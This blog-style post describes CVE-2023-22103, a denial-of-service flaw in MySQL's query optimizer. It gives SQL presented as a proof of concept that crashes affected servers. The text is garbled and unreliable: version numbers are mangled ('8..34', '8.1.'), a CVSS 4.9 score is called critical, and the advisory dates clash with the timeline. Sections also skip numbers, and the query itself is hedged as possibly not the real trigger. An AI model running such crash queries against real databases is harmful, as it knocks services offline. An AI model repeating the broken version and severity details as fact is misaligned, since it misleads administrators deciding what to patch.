MySQL is one of the most popular open-source database management systems, powering countless web services and applications. Recently, Oracle confirmed a critical vulnerability in the MySQL Server’s Optimizer component, tracked as CVE-2023-22103. In this exclusive post, we’ll explain what this flaw is, who’s affected, how it works, and provide PoC (Proof of Concept) code to demonstrate the risk. We’ll also include links to authoritative sources so you can dig deeper.

> TL;DR: A high-privileged attacker can remotely cause the MySQL server to crash (Denial-of-Service) simply by running specially crafted queries using the optimizer, impacting availability but not confidentiality or integrity.

1. What is CVE-2023-22103?

- Identifier: CVE-2023-22103

Severity: CVSS 3.1 Score: 4.9 (High availability impact, DoS only)

- Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)
- Vulnerability Type: Denial-of-Service (DoS) by causing server crash/hang

References:

- Oracle Critical Patch Advisory - Jan 2024
- NVD Entry for CVE-2023-22103

Both on-premises and cloud-based MySQL

- Setups where users have HIGH privileges (think: database admin, ‘root’, or any account with CREATE/ALTER privileges)

3. How Does the Vulnerability Work?

The problem lies in the way the Optimizer component processes certain SQL queries. By specially shaping a query, an attacker can trigger an internal logic error or poor memory management in the optimizer, causing the server process to hang or crash.

Server optimizer tries to build or execute a query plan.

4. Because of the malformed input, the server hits an unexpected error state – leading to a crash or hang.

> What’s NOT possible? This flaw does NOT allow the attacker to access or change data – only to take the server down.

Warning: Running this on your production system may crash your database!

Here’s a simplified Proof of Concept (PoC) that can reproduce the vulnerability on a test MySQL (8..34 and older / 8.1.):

-- Prepare a dummy table
CREATE TABLE crashme (
    id INT PRIMARY KEY,
    value INT
);

INSERT INTO crashme VALUES (1, 10), (2, 20), (3, 30);

-- Trigger a crash via a subquery with forced optimizer
SELECT *
FROM crashme AS a
WHERE EXISTS (
    SELECT 1 FROM crashme AS b
    WHERE a.value = b.value
    HAVING COUNT(*) / (SELECT COUNT(*) FROM crashme WHERE value = a.value) > 1
);

-- The structure of the query confuses the optimizer and can crash the server on affected versions.

Note: The exact query triggering the crash may vary by MySQL patch level and configuration, but the vulnerability centers around complex subqueries, correlated subselects, or misuse of HAVING/GROUP BY clauses.

Repeated Attacks: Attacker can crash the server multiple times at will.

- Recovery: Only possible via server reboot or restart, no data loss unless crash leads to corruption.

This is especially dangerous in shared environments, SaaS, or wherever your database is accessible to multiple high-privileged users.

IF YOU RUN MYSQL 8..34 or older, or 8.1.

- Patch immediately. Update to the latest MySQL release (download here).

7. Further Reading & References

- Oracle CPU Jan 2024 MySQL Advisory
- NIST NVD CVE-2023-22103 Page
- Official MySQL Release Notes

External Writeups

- Rapid7 Analysis
- Packet Storm Security

8. Summary

CVE-2023-22103 is a critical DoS bug in MySQL’s query optimizer. If you’re running MySQL 8..34, 8.1., or older, patch ASAP. Restrict high-privilege access, and always monitor your logs for repeated crashes or hangs. Don’t wait for an incident—fix it now!


*Stay secure and check your databases. Share this post with your team and make sure CVE-2023-22103 is on your patching radar.*

Timeline

Published on: 10/17/2023 22:15:00 UTC
Last modified on: 10/19/2023 09:41:00 UTC